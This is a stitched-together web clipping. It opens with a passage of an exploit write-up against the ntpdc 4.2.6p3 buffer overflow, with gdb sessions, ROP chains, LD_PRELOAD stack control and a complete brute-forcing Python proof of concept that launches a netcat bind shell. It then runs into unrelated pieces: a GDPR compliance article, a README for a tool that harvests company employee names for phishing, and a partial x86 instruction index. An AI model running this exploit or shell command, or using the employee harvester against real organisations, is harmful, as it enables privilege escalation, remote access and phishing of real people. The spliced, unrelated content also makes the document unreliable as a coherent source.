`0x806a9cd` in and hopefully we’ll have EIP:

|

[code]

    $ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info
    $ gdb -q /usr/bin/ntpdc
    $ r < crash.info
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x6c61636f ('ocal')
    EBX: 0xb7fabff4 --> 0x1fe40 
    ECX: 0xb7dc13c0 --> 0x0 
    EDX: 0x43434343 ('CCCC')
    ESI: 0x806a9cd --> 0x0 
    EDI: 0x0 
    EBP: 0x0 
    ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>:   cmp    eax,0x1)
    EIP: 0x43434343 ('CCCC')
    EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x43434343
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>:  cmp    eax,0x1)
    0004| 0xbffff3d0 --> 0x806a9cd --> 0x0 
    0008| 0xbffff3d4 --> 0x0 
    0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push   ebx)
    0016| 0xbffff3dc --> 0x0 
    0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce 
    0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...)
    0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x43434343 in ?? ()
[/code]  
---|---  
Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a
ROP payload. Let’s figure out where that `"C"*600` lands in memory and
redirect EIP there:

|

[code]

    gdb-peda$ searchmem 0x43434343
    Searching for '0x43434343' in: None ranges
    Found 755 results, display max 256 items:
     ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "ͩ\006\b", 'C' <repeats 113 times>...)
     ntpdc : 0x806ad3c ('C' <repeats 200 times>...)
     [snip]
[/code]  
---|---  
And we’ll fill it with `\xcc` to ensure we’re there \(theoretically triggering
NX\):

|

[code]

    $ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info
    $ gdb -q /usr/bin/ntpdc
    Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.
    gdb-peda$ r < crash.info 
    [snip]
    Program received signal SIGTRAP, Trace/breakpoint trap.
    [----------------------------------registers-----------------------------------]
    EAX: 0x6c61636f ('ocal')
    EBX: 0xb7fabff4 --> 0x1fe40 
    ECX: 0xb7dc13c0 --> 0x0 
    EDX: 0xcccccccc 
    ESI: 0x806a9cd --> 0x0 
    EDI: 0x0 
    EBP: 0x0 
    ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>:   cmp    eax,0x1)
    EIP: 0x806ad3d --> 0xcccccccc
    EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x806ad38:   int    0xa9
       0x806ad3a:   push   es
       0x806ad3b:   or     ah,cl
    => 0x806ad3d:   int3   
       0x806ad3e:   int3   
       0x806ad3f:   int3   
       0x806ad40:   int3   
       0x806ad41:   int3
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>:  cmp    eax,0x1)
    0004| 0xbffff3f0 --> 0x806a9cd --> 0x0 
    0008| 0xbffff3f4 --> 0x0 
    0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push   ebx)
    0016| 0xbffff3fc --> 0x0 
    0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce 
    0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...)
    0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGTRAP
    0x0806ad3d in ?? ()
    gdb-peda$ 
[/code]  
---|---  
Er, what? It appears to be executing code in BSS\! Recall the output of
paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This
took me a few hours to figure out, but it ultimately came down to Debian not
distributing x86 images with PAE, or Physical Address Extension. PAE is a
kernel feature that allows 32-bit CPU’s to access physical page tables and
doubling each entry in the page table and page directory. This third level of
paging and increased entry size is required for NX on x86 architectures
because NX adds a single ‘dont execute’ bit to the page table. You can read
more about PAE here, and the original NX patch here.

This flag can be tested for with a simple grep of `/proc/cpuinfo`; on a fresh
install of Debian 7, a grep for PAE will turn up empty, but on something with
support, such as Ubuntu, you’ll get the flag back.

Because I had come this far already, I figured I might as well get the exploit
working. At this point it was simple, anyway:

|

[code]

    $ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file 
    $ gdb -q /usr/bin/ntpdc
    Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.
    gdb-peda$ r < input.file 
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
    ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAͩ����h����hp�ȷh0�ɷ�' unknown
    [New process 4396]
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
    process 4396 is executing new program: /bin/dash
    [New process 4397]
    process 4397 is executing new program: /bin/nc.traditional
[/code]  
---|---  
This uses a simple `system` payload with hard-coded addresses, because at this
point it’s an old-school, CTF-style exploit. And it works. With this trivial
PoC working, I decided to check another box I had to verify this is a common
distribution method. An Ubuntu VM said otherwise:

|

[code]

    $ uname -a
    Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux
    $ ./checksec.sh --file /usr/bin/ntpdc
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   /usr/bin/ntpdc
    $ cat /proc/sys/kernel/randomize_va_space
    
[/code]  
---|---  
Quite a different story. We need to bypass full RELRO \(no GOT overwrites\),
PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking
pretty grim. As an aside, it’s important to remember that because this is a
local exploit, the attacker is assumed to have limited control over the
system. Ergo, an attacker may inspect and modify the system in the same manner
a limited user could. This becomes important with a few techniques we’re going
to use moving forward.

Our first priority is stack pivoting; we won’t be able to ROP to victory
without control over the stack. There are a few options for this, but the
easiest option is likely going to be an `ADD ESP, ?` gadget. The problem with
this being that we need to have some sort of control over the stack or be able
to modify ESP somewhere into BSS that we control. Looking at the output of
`ropgadget`, we’ve got 36 options, almost all of which are of the form `ADD
ESP, ?`.

After looking through the list, I determined that none of the values led to
control over the stack; in fact, nothing I injected landed on the stack. I did
note, however, the following:

|

[code]

    gdb-peda$ x/6i 0x800143e0
       0x800143e0: add    esp,0x256c
       0x800143e6: pop    ebx
       0x800143e7: pop    esi
       0x800143e8: pop    edi
       0x800143e9: pop    ebp
       0x800143ea: ret 
    gdb-peda$ x/30s $esp+0x256c
    0xbffff3a4:  "-1420310755.557158-104120677"
    0xbffff3c1:  "WINDOWID=69206020"
    0xbffff3d3:  "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM"
    0xbffff3fd:  "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"
[/code]  
---|---  
These are environmental variables passed into the application and located on
the program stack. Using the ROP gadget `ADD ESP, 0x256c`, followed by a
series of register POPs, we could land here. Controlling this is easy with the
help of LD\_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By
exporting LD\_PRELOAD, we can control uninitialized data located on the stack,
as follows:

|

[code]

    $ export LD_PRELOAD=`python -c 'print "A"*10000'`
    $ gdb -q /usr/bin/ntpdc
    gdb-peda$ r < input.file
    [..snip..]
    gdb-peda$ x/10wx $esp+0x256c
    0xbfffedc8: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbfffedd8: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbfffede8: 0x41414141  0x41414141
    gdb-peda$ 
[/code]  
---|---  
Using some pattern\_create/offset magic, we can find the offset in our
LD\_PRELOAD string and take control over EIP and the stack:

|

[code]

    $ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'`
    $ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file
    $ gdb -q /usr/bin/ntpdc
    gdb-peda$ r < input.file
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x6c61636f ('ocal')
    EBX: 0x41414141 ('AAAA')
    ECX: 0x13560 
    EDX: 0x42424242 ('BBBB')
    ESI: 0x41414141 ('AAAA')
    EDI: 0x41414141 ('AAAA')
    EBP: 0x41414141 ('AAAA')
    ESP: 0xbffff3bc ("BBBB")
    EIP: 0x41414141 ('AAAA')
    EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x41414141
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff3bc ("BBBB")
    0004| 0xbffff3c0 --> 0x4e495700 ('')
    0008| 0xbffff3c4 ("DOWID=69206020")
    0012| 0xbffff3c8 ("D=69206020")
    0016| 0xbffff3cc ("206020")
    0020| 0xbffff3d0 --> 0x47003032 ('20')
    0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM")
    0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM")
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x41414141 in ?? ()
[/code]  
---|---  
This gives us EIP, control over the stack, and control over a decent number of
registers; however, the LD\_PRELOAD trick is extremely sensitive to stack
shifting which represents a pretty big problem for exploit portability. For
now, I’m going to forget about it; chances are we could brute force the
offset, if necessary, or simply invoke the application with `env -i`.

From here, we need to figure out a ROP payload. The easiest payload I can
think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of
them:

|

[code]

    gdb-peda$ vmmap
    0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so
    0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so
    0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x366060 <system>
    gdb-peda$ 
[/code]  
---|---  
One idea I had was to simply construct the address in memory, then call it.
Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers
we controlled. Eventually, I discovered this gem:

|

[code]

    0x800138f2: add edi, esi; ret 0;
    0x80022073: call edi
[/code]  
---|---  
Using the above, we could pop controlled, non-null values into EDI/ESI, that
when added equaled `0x366060 <system>`. Many values will work, but I chose
`0xeeffffff + 0x11366061`:

|

[code]

    EAX: 0x6c61636f ('ocal')
    EBX: 0x41414141 ('AAAA')
    ECX: 0x12f00 
    EDX: 0x42424242 ('BBBB')
    ESI: 0xeeffffff 
    EDI: 0x11366061 
    EBP: 0x41414141 ('AAAA')
    ESP: 0xbfffefb8 --> 0x800138f2 (add    edi,esi)
    EIP: 0x800143ea (ret)
    EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x800143e7: pop    esi
       0x800143e8: pop    edi
       0x800143e9: pop    ebp
    => 0x800143ea: ret    
       0x800143eb: nop
       0x800143ec: lea    esi,[esi+eiz*1+0x0]
       0x800143f0: mov    DWORD PTR [esp],ebp
       0x800143f3: call   0x80018d20
    [------------------------------------stack-------------------------------------]
    0000| 0xbfffefb8 --> 0x800138f2 (add    edi,esi)
    0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff 
    0008| 0xbfffefc0 ('C' <repeats 200 times>...)
    0012| 0xbfffefc4 ('C' <repeats 200 times>...)
    0016| 0xbfffefc8 ('C' <repeats 200 times>...)
    0020| 0xbfffefcc ('C' <repeats 200 times>...)
    0024| 0xbfffefd0 ('C' <repeats 200 times>...)
    0028| 0xbfffefd4 ('C' <repeats 200 times>...)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x800143ea in ?? ()
[/code]  
---|---  
As shown above, we’ve got our two values in EDI/ESI and are returning to our
`ADD EDI, ESI` gadget. Once this completes, we return to our `CALL EDI`
gadget, which will jump into `system`:

|

[code]

    EDI: 0x366060 (<system>:   sub    esp,0x1c)
    EBP: 0x41414141 ('AAAA')
    ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh")
    EIP: 0x80022073 --> 0xd7ff
    EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0x80022073: call   edi
[/code]  
---|---  
Recall the format of a ret2libc: `[system() address | exit() | shell command]`; therefore, we need to stick a bogus `exit` address \(in my case, junk\) as well as the address of a command. Also remember, however, that `CALL EDI` is essentially a macro for `PUSH EIP+2 ; JMP EDI`. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no `JMP EDI` gadgets in the binary, so we’re stuck with a messy exit.
This culminates in:

|

[code]

    $ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'`
    $ gdb -q /usr/bin/ntpdc
    gdb-peda$ r < input.file
    [snip all the LD_PRELOAD crap]
    [New process 31184]
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
    process 31184 is executing new program: /bin/dash
    [New process 31185]
    process 31185 is executing new program: /bin/nc.traditional
[/code]  
---|---  
Success\! Though this is a very dirty hack, and makes no claim of portability,
it works. As noted previously, we can brute force the image base and stack
offsets, though we can also execute the binary with an empty environment and
no stack tampering with `env -i`, giving us a much higher chance of hitting
our mark.

Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue,
this is a local bug that brute forcing and a little investigation can’t take
care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully
neutralized. I hacked up a PoC that _should_ work on Ubuntu boxes as
configured, but it brute forces offsets. Test runs show it can take up to 2
hours to successfully pop a box. Full code can be found below.

|

[code]

    from os import system, environ
    from struct import pack
    import sys
    # ntpdc 4.2.6p3 bof
    # @dronesec
    # tested on x86 Ubuntu 12.04.5 LTS
    IMAGE_BASE = 0x80000000
    LD_INITIAL_OFFSET = 8900
    LD_TAIL_OFFSET = 1400
    sploit = "\x41" * 485        # junk 
    sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
    sploit += "\x41" * 79        # junk 
    sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode
    ld_pl = ""
    ld_pl += pack("<I", 0xeeffffff) # ESI
    ld_pl += pack("<I", 0x11366061) # EDI
    ld_pl += pack("<I", 0x41414141) # EBP
    ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
    ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
    ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong
    environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"
    for idx in xrange(200):
        for inc in xrange(200):
            ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
            ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)
            environ["LD_PRELOAD"] = ld_pl
            system("echo %s | ntpdc 2>&1" % sploit)
[/code]  
---|---

# GDPR is just a year away: here’s what you need to know

**Created:**| _5/23/2017 1:05:38 PM_  
---|---  
**Updated:**| _5/23/2017 1:05:38 PM_  
**Author:**| __  
**Tags:**| _Law privacy_  
  

  

# GDPR is just a year away: here’s what you need to know

### Get the latest security news in your inbox.

<img src='img/shutterstock_491993500.jpg' width='576' height='301' />

May 25 2018 is a date that should be etched in red on the calendars of any
company that does business in the European Union \(EU\).

That’s the day companies must be in full compliance with the EU’s General Data
Protection Regulation \(GDPR\), which requires them to take specific steps to
more securely collect, store and use personal information.

For companies still at the beginning of their efforts, that’s not much time.
This paper is to help them get on track.

## Companies ignore GDPR at their peril

First, a dose of reality: companies not in compliance this time next year face
brutal fines for violations.

For example, NCC Group came up with a model that extrapolated from the fines
actually imposed for breaches by the UK’s Information Commissioner’s Office
and calculated what they might be under GDPR.

## Sophos Home

Free home computer security software for all the family

Learn More

Under the model, British companies that were penalized for breaches last year
could have faced fines totaling £69m under GDPR, rather than the £880,500 they
collectively had to pay up. Talk Talk, which last year was slapped with the
biggest fine ever in the UK for a data breach – of £400,000 – would have faced
a bill of £59m, calculated NCC, while Pharmacy2U, which was fined £130,000,
would have faced a bill of £4.4m.

Those are sobering numbers, especially in light of a January report from
\(ISC\)2’s EMEA council, which covers issues concerning Europe, the Middle
East and Africa. According to the report, organizations aren’t doing too well,
having accomplished precious little in the first year they had to get things
in order. The council warned of what it sees as poor acceptance of
accountability across organizations and an apparent belief that the task ahead
is one for the specialists – either legal or technical.

Meanwhile, a recent report by Crown Records Management found that nearly a
quarter of UK businesses surveyed said they had stopped preparing for GDPR,
with 44% saying they didn’t think GDPR would apply to them once the UK leaves
the EU in March 2019 as a result of last year’s Brexit vote.

Since the UK will still be in the EU when GDPR comes into effect, and
presumably will continue to do business in the EU after Brexit, that’s an
unfortunate and potentially costly assumption.

## Size matters not

Another point of confusion for companies is about size. Specifically, do small
businesses face the same requirements under GDPR as the big enterprises?

GDPR requires that any company doing business in the EU – no matter the size –
more securely collect, store and use personal information. Like the big guys,
smaller companies face fines for violations that might occur.

But the regulation accounts for the fact that smaller businesses lack the same
resources as larger enterprises. UK-based data protection consultancy DataHelp
makes note of the differences on its website:

> Under the current law, as contained in the Data Protection Act, \(DPA\), the
> same rules apply, regardless of the size of an organization. However, the
> General Data Protection Regulation \(GDPR\) … recognizes that SMEs require
> different treatment from both large and public enterprises.
One area of concern for small businesses is the GDPR requirement that
companies hire a data protection officer. Though smaller firms may still need
to employ someone in this role if handling personal data is core to their
operations, it may not have to be a full-time employee, but rather a
consultant, which could be less costly.

Daunting as it all may seem, small businesses can take comfort in this: as
long as they can demonstrate that they’ve put their best foot forward to meet
the requirements of GDPR, regulators will work with them on any problems that
might arise.

The key is to bring in the right consultants and document all actions taken.

## Now what?

Now that we’ve outlined what’s at stake, let’s look at some concrete steps
companies must take to be taking to be ready for May 2018.

Naked Security recently reviewed a 12-point checklist published by Ireland’s
Office of the Data Protection Commissioner. The compliance practitioners we
talked to have repeatedly cited that list as particularly helpful.

The checklist is as follows:

  1. **Be aware.** It’s not enough for CEOs, IT staff and compliance officers to be aware of what GDPR requires. Employees from the top to the bottom of an organization need to be extensively educated on the regulation’s importance and the role they have to play.
  2. **Be accountable.** Companies must make an inventory of all personal data they hold and ask the following questions: why are you holding it? How did you obtain it? Why was it originally gathered? How long will you retain it? How secure is it, both in terms of encryption and accessibility? Do you ever share it with third parties and on what basis might you do so?
  3. **Communicate with staff and service users.** This is an extension of being aware. Review all current data privacy notices alerting individuals to the collection of their data. Identify gaps between the level of data collection and processing the organization does and how aware customers, staff and service users are.
  4. **Protect privacy rights.** Review procedures to ensure they cover all the rights individuals have, including how one would delete personal data or provide data electronically.
  5. **Review how access rights could change.** Review and update procedures and plan how requests within new timescales will be handled.
  6. **Understand the legal fine print.** Companies should look at the various types of data processing they carry out, identify their legal basis for carrying it out and document it.
  7. **Ensure customer consent is ironclad.** Companies that use customer consent when recording personal data should review how the consent is sought, obtained and recorded.
  8. **Process children’s data carefully.** Organizations processing data from minors must ensure clear systems are in place to verify individual ages and gather consent from guardians.
  9. **Have a plan to report breaches.** Companies must ensure the right procedures are in place to detect, report and investigate a personal data breach. Always assume a breach will happen at some point.
  10. **Understand Data Protection Impact Assessments \(DPIA\) and Data Protection by Design and Default.** A DPIA is the process of systematically considering the potential impact that a project or initiative might have on the privacy of individuals. It will allow organizations to identify potential privacy issues before they arise, and come up with a way to mitigate them.
  11. **Hire data protection officers.** The important thing is to make sure that someone in the organization or an external data protection advisor takes responsibility for data protection compliance and understands the responsibility from the inside out.
  12. **Get educated on the internal organizations managing GDPR.** The regulation includes a “one-stop-shop” provision to assist organizations operating in EU member states. Multinational organizations will be entitled to deal with one data protection authority, or Lead Supervisory Authority \(LSA\) as their single regulating body in the country where they are mainly established.

## Making it your own

Those approached for the Naked Security piece cited in the main article noted
how they’ve taken the guidelines of Ireland’s Office of the Data Protection
Commissioner and put their organizations’ stamps on it. One of them was Craig
Clark, information security and compliance manager for IT services at the
University of East London.

From a project point of view, he suggested the following be completed or
nearly completed by mid 2017:

  * C-Suite Awareness
  * User Awareness
  * DPO Appointment
  * Information Identification
  * Updated Privacy Notices
  * Updated Data Protection Policies
  * Updated Information Sharing Agreements
  * Approved Data Privacy Impact Assessments
  * Identification of any cross-border transfers
  * Establishment of Data Subject Rights Management protocols
  * Privacy by Design implemented into the Project Methodology

Clark said:

> A lot of guidance is still to be written by the ICO \[UK Information
> Commissioner’s Office\] but I’d want at least the above to be implemented.
## Brexit doesn’t exempt UK companies

As mentioned, some assume they are free of GDPR because the UK is leaving the
EU. That is not true. The following facts apply:

  1. British prime minister Theresa May sent a letter to the president of the European Union officially triggering Brexit in late March 2017. The exit process will take at least two years to complete, meaning those UK companies will still be a part of the EU on the day GDPR takes effect.
  2. Once the UK is no longer part of the EU, many of those companies will still do business with companies that are in the EU. That alone will keep UK businesses on the hook for compliance.

Therefore, companies should approach GDPR as they were before Brexit happened.

  

# pentestgeek/jigsaw

**Created:**| _7/3/2012 8:06:35 PM_  
---|---  
**Updated:**| _7/3/2012 8:06:35 PM_  
**Author:**| __  
**Tags:**| _ruby socialising_  
  

[code]

    Jigsaw.rb is a simple ruby script for enumerating information about a company's employees.
    It is useful for Social Engineering or Email Phishing
    
    #############
    Collaborative project between R3dy and humble-desser : Special thanks
    to Eric Milam (aka JohnyBrav0) for bouncing ideas to humble-desser
    about jigsaw.
    #############3
    
    Help:
    $ ./jigsaw -h
    Jigsaw 1.0 ( http://www.pentestgeek.com/ - http://hdesser.wordpress.com/ )
    Usage: jigsaw [options]
    
    	example: jigsaw -s Google
    
        -i, --id [Jigsaw Company ID]     The Jigsaw ID to use to pull records
        -s, --search [Company Name]      Name of organization to search for
        -r, --report [Output Filename]   Name to use for report EXAMPLE: '-r google' will generate 'google.csv'
        -v, --verbose                    Enables verbose output
    
    
    Examples:
    $ ./jigsaw -s Google
    Your search returned more then one company
    Jigsaw ID: 215043	- Google, Inc.	6,627 employees.
    Jigsaw ID: 224667	- Google Postini Services	149 employees.
    Jigsaw ID: 439035	- AdMob Google Inc	2 employees.
    Jigsaw ID: 5032028	- Google Inc	1 employees.
    ...
    
    $ ./jigsaw -i 215043 |grep -i market |grep -i manager
    Fyall, Mike	-	Product Marketing Manager
    Ramaswamy, Jenny	-	Marketing Manager
    Satyasai, Serena	-	Product Marketing Manager
    Fu, John	-	Product Marketing Manager
    Shah, Davang	-	Group Marketing Manager-US Large Advertiser Marketing
    ...
    
[/code]

# Intel Pentium Instruction Set Reference - Instruction Index

**Created:**| _12/28/2009 10:19:44 PM_  
---|---  
**Updated:**| _12/28/2009 10:19:52 PM_  
**Author:**| __  
**Tags:**| _asm ref_  
  

* * *
_Quick navigation: \[Jump to body \]_

* * *
# Menu

## Intro

  * Home
  * Architecture Overview
  * Conventions

## Instructions

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

<img src='img/Temp2_4481.gif' alt='Made with TED Notepad, free replacement!'
/>

\[jump to top\]

* * *
_Quick navigation: \[Jump to menu \]_

* * *
# Intel Pentium Instruction Set Reference

# Instruction Index

## A

  * AAA \- ASCII Adjust for Addition
  * AAD \- ASCII Adjust AX Before Division
  * AAM \- ASCII Adjust AX After Multiply
  * AAS \- ASCII Adjust AL After Subtraction
  * ADC \- Add with Carry
  * ADD \- Add
  * AND \- Logical AND
  * ARPL \- Adjust RPL Field of Segment Selector

## B

  * BOUND \- Check Array Index Against Bounds
  * BSF \- Bit Scan Forward
  * BSR \- Bit Scan Reverse
  * BSWAP \- Byte Swap
  * BT \- Bit Test
  * BTC \- Bit Test and Compliment
  * BTR \- Bit Test and Reset
  * BTS \- Bit Test and Set

## C

  * CALL \- Call Procedure
  * CBW \- Convert Byte to Word
  * CDQ \- Convert Double to Quad
  * CLC \- Clear Carry Flag
  * CLD \- Clear Direction Flag
  * CLI \- Clear Interrupt Flag
  * CLTS \- Clear Task-Switched Flag in CR0
  * CMC \- Complement Carry Flag
  * CMP \- Compare Two Operands
  * CMPS \- Compare String Operands
  * CMPSB \- Compare String Operands
  * CMPSD \- Compare String Operands
  * CMPSW \- Compare String Operands
  * CMPXCHG \- Compare and Exchange
  * CMPXCHG8B \- Compare and Exchange 8 Bytes
  * CPUID \- CPU Identification
  * CWDE \- Convert Word to Doubleword
  * CWD \- Convert Word to Doubleword

## D

  * DAA \- Decimal Adjust AL after Addition
  * DAS \- Decimal Adjust AL after Subtraction
  * DEC \- Decrement by 1
  * DIV \- Unsigned Divide

## E

  * ENTER \- Make Stack Frame for Procedure Parameters

## F

  * FWAIT \- Wait

## G

## H

  * HLT \- Halt

## I

  * IDIV \- Signed Divide
  * IMUL \- Signed Multiply
  * IN \- Input from Port
  * INC \- Increment by 1
  * INS \- Input from Port to String
  * INSB \- Input from Port to String
  * INSD \- Input from Port to String
  * INSW \- Input from Port to String
  * INT \- Call to Interrupt Procedure
  * INT3 \- Call to Interrupt Procedure
  * INTO \- Call to Interrupt Procedure
  * INVD \- Invalidate Internal Caches
  * INVLPG \- Invalidate TLB Entry
  * IRET \- Interrupt Return
  * IRETD \- Interrupt Return

## J

  * JA \- Jump if Condition Is Met
  * JAE \- Jump if Condition Is Met
  * JB \- Jump if Condition Is Met
  * JBE \- Jump if Condition Is Met
  * JC \- Jump if Condition Is Met
  * JCXZ \- Jump if Condition Is Met
  * JE \- Jump if Condition Is Met
  * JECXZ \- Jump if Condition Is Met
  * JG \- Jump if Condition Is Met
  * JGE \- Jump if Condition Is Met
  * JL \- Jump if Condition Is Met
  * JLE \- Jump if Condition Is Met
  * JMP \- Jump
  * JNA \- Jump if Condition Is Met
  * JNAE \- Jump if Condition Is Met
  * JNB \- Jump if Condition Is Met
  * JNBE \- Jump if Condition Is Met
  * JNC \- Jump if Condition Is Met
  * JNE \- Jump if Condition Is Met
  * JNG \- Jump if Condition Is Met
  * JNGE \- Jump if Condition Is Met
  * JNL \- Jump if Condition Is Met
  * JNLE \- Jump if Condition Is Met
  * JNO \- Jump if Condition Is Met
  * JNP \- Jump if Condition Is Met
  * JNS \- Jump if Condition Is Met
  * JNZ \- Jump if Condition Is Met
  * JO \- Jump if Condition Is Met
  * JP \- Jump if Condition Is Met
  * JPE \- Jump if Condition Is Met
  * JPO \- Jump if Condition Is Met
  * JS \- Jump if Condition Is Met
  * JZ \- Jump if Condition Is Met

## K

## L

  * LAHF \- Load Status Flags into AH Register
  * LAR \- Load Access Rights Byte
  * LDS \- Load Far Pointer
  * LEA \- Load Effective Address
  * LEAVE \- High Level Procedure Exit
  * LES \- Load Far Pointer
  * LFS \- Load Far Pointer
  * LGDT \- Load Global Descriptor Table Register
  * LGS \- Load Far Pointer
  * LIDT \- Load Interrupt Descriptor Table Register
  * LLDT \- Load Local Descriptor Table Register
  * LMSW \- Load Machine Status Word
  * LOCK \- Assert LOCK\# Signal Prefix
  * LODS \- Load String
  * LODSB \- Load String
  * LODSD \- Load String
  * LODSW \- Load String
  * LOOP \- Loop According to ECX Counter
  * LOOPE \- Loop According to ECX Counter
  * LOOPNE \- Loop According to ECX Counter
  * LOOPNZ \- Loop According to ECX Counter
  * LOOPZ \- Loop According to ECX Counter
  * LSL \- Load Segment Limit
  * LSS \- Load Far Pointer
  * LTR \- Load Task Register

## M

  * MOV \- Move
  * MOV \- Move to/from Control Registers
  * MOV \- Move to/from Debug Registers
  * MOVS \- Move Data from String to String
  * MOVSB \- Move Data from String to String
  * MOVSD \- Move Data from String to String
  * MOVSW \- Move Data from String to String
  * MOVSX \- Move with Sign-Extension
  * MOVZX \- Move with Zero-Extend
